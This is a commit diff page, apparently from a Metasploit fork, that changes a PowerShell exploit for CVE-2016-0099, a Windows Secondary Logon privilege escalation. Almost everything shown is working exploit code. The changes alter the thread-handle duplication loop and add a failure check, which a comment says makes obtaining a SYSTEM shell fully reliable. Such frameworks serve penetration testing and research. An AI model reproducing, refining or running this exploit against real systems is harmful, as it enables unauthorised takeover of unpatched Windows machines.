Skip to content

Commit d1f65b2

Browse files
author
Brent Cook
committed
Land rapid7#7151, Improve CVE-2016-0099 reliability
2 parents 2b75710 + 322fc11 commit d1f65b2

File tree

1 file changed

+18
-5
lines changed

1 file changed

+18
-5
lines changed

data/exploits/CVE-2016-0099/cve_2016_0099.ps1

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -155,8 +155,8 @@ Add-Type -TypeDefinition @"
155155
# CreateProcessWithLogonW --> lpCurrentDirectory
156156
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
157157

158-
$path1 = $env:windir
159-
$path1 = "$path1\System32\cmd.exe"
158+
$path1 = $env:windir
159+
$path1 = "$path1\System32\cmd.exe"
160160
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
161161
$CallResult = [Advapi32]::CreateProcessWithLogonW(
162162
"user", "domain", "pass",
@@ -242,8 +242,8 @@ Add-Type -TypeDefinition @"
242242
$TidArray = @()
243243

244244
echo "[>] Duplicating CreateProcessWithLogonW handles.."
245-
# Loop Get-ThreadHandle and collect thread handles with a valid TID
246-
for ($i=0; $i -lt 500; $i++) {
245+
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
246+
for ($i=0; $i -lt 1; $i++) {
247247
$hThread = Get-ThreadHandle
248248
$hThreadID = [Kernel32]::GetThreadId($hThread)
249249
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
@@ -309,6 +309,19 @@ Add-Type -TypeDefinition @"
309309
0x00000002, $cmd, $args1,
310310
0x00000004, $null, $GetCurrentPath,
311311
[ref]$StartupInfo, [ref]$ProcessInfo)
312+
313+
#---
314+
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
315+
#---
316+
# Missing this check used to cause the exploit to fail sometimes.
317+
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
318+
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
319+
# reliable now!
320+
#---
321+
if (!$CallResult) {
322+
continue
323+
}
324+
312325
$hTokenHandle = [IntPtr]::Zero
313326
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
314327

@@ -331,4 +344,4 @@ Add-Type -TypeDefinition @"
331344
$StartTokenRace.Stop()
332345
$SafeGuard.Stop()
333346
}
334-
exit
347+
exit

0 commit comments

Comments
 (0)